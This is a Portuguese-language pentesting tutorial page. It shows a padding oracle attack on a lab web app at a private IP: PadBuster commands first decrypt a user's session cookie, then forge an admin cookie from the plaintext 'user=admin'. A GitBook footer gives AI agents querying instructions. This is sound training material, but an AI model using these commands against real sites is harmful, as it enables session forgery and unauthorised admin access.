> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).

# Técnicas de Padding Oracle

Vamos **criar um usuário** no site:

<figure><img src="/files/cfe946ba77fd01ddbdf2f2fb778f3936baa5988f" alt="" width="563"><figcaption></figcaption></figure>

Aqui está o **cookie de sessão** que está fragmentado e que tentamos de **descriptografar**:

<figure><img src="/files/fcc26c37751e38f20b540f18f08c3d41c76f7a93" alt=""><figcaption></figcaption></figure>

Com a ferramenta **PadBuster**, enviamos o link com o cookie de sessão e seu nome da seguinte forma:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'

```

Ele retorna os valores do cookie em **texto claro**:

<figure><img src="/files/f0d826d267e2390f28eafc43ed7a57c90120856e" alt="" width="563"><figcaption></figcaption></figure>

Se, em vez de definir **user=jordan**, nós o criptografamos como **user=admin**, isso nos dá o cookie de sessão de admin, se ele existir. Com **PadBuster**, reenviamos o comando, mas desta vez usamos **-plaintext** porque conhecemos o texto claro que queremos criptografar com o mesmo **oráculo**:

```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'

```

Ele nos dá o cookie de sessão **admin**:

<figure><img src="/files/6a8537de61531605dfba3f08b04b94b9aeb01202" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
